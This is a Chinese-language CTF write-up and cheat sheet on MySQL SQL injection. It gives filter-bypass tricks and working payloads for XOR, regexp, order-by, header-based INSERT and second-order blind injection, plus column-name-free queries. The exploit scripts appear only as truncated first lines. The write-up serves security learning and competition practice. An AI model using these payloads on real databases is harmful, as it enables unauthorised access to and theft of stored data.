SQL注入小tricks
- or的两边可以没空格,可以是’)(
%09
(制表符),%0a
(换行符)有时候可绕过空格过滤union select
被过滤,可以用union%0bselect
regexp
与rlike
相同select * from users where name='John'
与select * from users where name in('John')
相同like
可以替换=
limit offset
可以替换limit ?,?
,limit m offset n
equals to 从第n+1
行开始取m行<>
equals to!=
- join注入,payload:
1' union select * from (select 1) a join (select 2) b %23
if(condition,do1,do2)
equals toselect case when condition then do1 else do2 end
...union select+1,2,3,4
union select@a:=1,2,3,4
between..and..
代替比较符,如果截取函数被过滤,可以直接用between..and..
逐位比较得到结果,如果引号被过滤,就用16进制。https://www.anquanke.com/post/id/158674binary
表示区分大小写information_schema.??
被过滤?tryinformation_schema/**/.??
orinformation_schema./**/??
select distinct(Db) from mysql.db;select distinct(database_name) from mysql.innodb_index_stats;//mysql>5.6select distinct(database_name) from mysql.innodb_table_stats;//mysql>5.6
- 实在什么都不知道的情况下,可以猜。
只知道表名不知道列名的情况
之前做安恒十月月赛就遇到了这种情况,这是个盲注题,题目告诉了有个flag
表,但是不知道列名。接下来我们看看怎么处理这种情况。
如果直接select*
,列名还是原来的列名,无法select
这时候可以用这种姿势:
可以看到,这时候列名已经变成了
1,2,3
,再加上limit
语句,就可以实现很精确地查询某一条信息。
SQL盲注的多种姿势
对于无回显的SQL盲注,基本的有时间盲注和布尔盲注两大方面,但其实这两样又可以有很多种姿势
XOR盲注
XOR也就是异或,异或符号在MySQL中是^
,它可以起到一个逻辑判断的作用,我们知道0^1=1,0^0=0
,因此可以通过不同的布尔值形成盲注。
给一道题目,http://123.206.31.85:49167/ 可以看出来,我们应该是要注出admin用户的密码,fuzz一下
再结合手工fuzz,发现
or, ,%09,%0a,/**/
也被过滤了,过滤了and和or,没有过滤^,那就可以尝试一下XOR注入。information_schema
也被过滤了,那很可能要猜解的字段就在当前表,直接猜测是password
。可以用这种payload来注出database():admin'^(ascii(mid((database())from(1)))>66)%23
exp:
1 | import requests |
注出password为一串md5,拿去解密然后登录即可getflag。解法2:结合
regexp
1 | #encoding:utf-8 |
使用场景:过滤了and、or、逗号、空格
regexp/rlike盲注
regexp
是MySQL中一个用以正则判断的函数,用法如select (select...) regexp('^...$')
such as:会返回一个值表示是否匹配给定的正则表达式,
^$
分别表示字符串的开始符和结束符,在注入的时候,如果没有过滤^
,我们可以配合mid((select...)from(%s))
来逐个字符猜解,如果过滤了^
,但没有过滤$
,就要用mid((select...)from(%s)for(1))
的格式,这时候不能省略for从一道题目来练习,http://ctf5.shiyanbar.com/web/earnest/index.php 首先可以fuzz一下,发现过滤了不少东西
再来看一下功能,输入1,提示’you are in’
输入0提示’you are not in’,但是输入
1'--
和0'or'1
都是返回’you are not in’,说明后端可能对某些关键词进行了处理,这里用大小写可以绕过,比如0'Or'1
会返回’you are in’,再测试了一下,发现双写(oorr)也可以绕过。对于注释符--
,猜测后台把它替换为空,但既无法双写绕过也无法大小写绕过,所以这题无法使用注释符,只能用引号闭合。题目禁了substr
,可以用mid
代替,禁了,
,可以用mid
的from()for()
结构来代替,禁用了^
,无法用XOR注入,这里可以用regexp注入
,题目还禁用了空格,可以用制表符绕过。综上,我们可以构造这样的payload:0'Or(select(ascii((mid((select database())from(%s)fOr(1))regexp('%s$')))))Or'0
,然后逐步注入进去,如果有空格的地方就用%09
代替。
exp:
1 | import requests |
order by 盲注
基本原理:order by
是选取一列作为排序的标准,默认是升序,基本原理如下图通过逐位遍历
union select
的某个参数,根据页面回显不同即可得到正确的结果。
insert into 注入
平时见得最多的注入都是基于select
,如果要注入的是select
语句,又该怎么处理呢?直接看一道题目,来自bugkuCTF,给了源码:
1 | error_reporting(0); |
以,
为分格符,换言之就是过滤了,
,然后insert
进表里,这题很明显没有回显,要盲注,过滤了逗号,对于mid,可以用mid((select..)from..for..)
,对于if,可以用select case when .. then 1 else 2 end
。接下来的问题就是要怎么把语句放进去,直接放是不行的由于引号的存在,会把语句当成字符串。这里要先用闭合引号,然后用+号连接语句,最后再把右括号补上。构造payload如下:
X-Forwarded-For:'+(select case when 1 then sleep(3) else 0 end)+')
这样出来的SQL语句是这样的可以成功sleep。exp:
1 | #encoding:utf-8 |
二次注入
打了下2018 高校网络信息安全管理运维挑战赛,觉得这道是我做出来的里面唯一有意思的了。题目有注册、登录、登出功能,注册个账号然后登录之后有提示flag在数据库中,而且是flag表flag列。然后有个final exam功能
做对题会有分
后面发现,如果注册的用户名使得mysql报错的话,做对题也是零分,于是要想办法把判断语句和导致mysql报错联系到一起,这里用到的payload是
comrade'or (ascii(mid((select flag from flag),1,1))=?)*999*pow(999,102)#
原理就是利用double的溢出另外还可以这样
exp:
1 | #encoding:utf-8 |
不知道列名的注入
来看一个示例可以看到,这么一操作,查询到的表的列名就变成了1到6的数字,然后可以进行进一步查询,比如查询第4列
而对于不能使用逗号的情况,可以这么来
1 | select d from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t join (select 4 `d`)z join (select 5 `e`)x join (select 6 `f`)ss where 0 union select * from students)x; |
Referer
https://www.anquanke.com/post/id/160584#h2-7
http://wonderkun.cc/index.html/?p=442
https://xz.aliyun.com/t/4105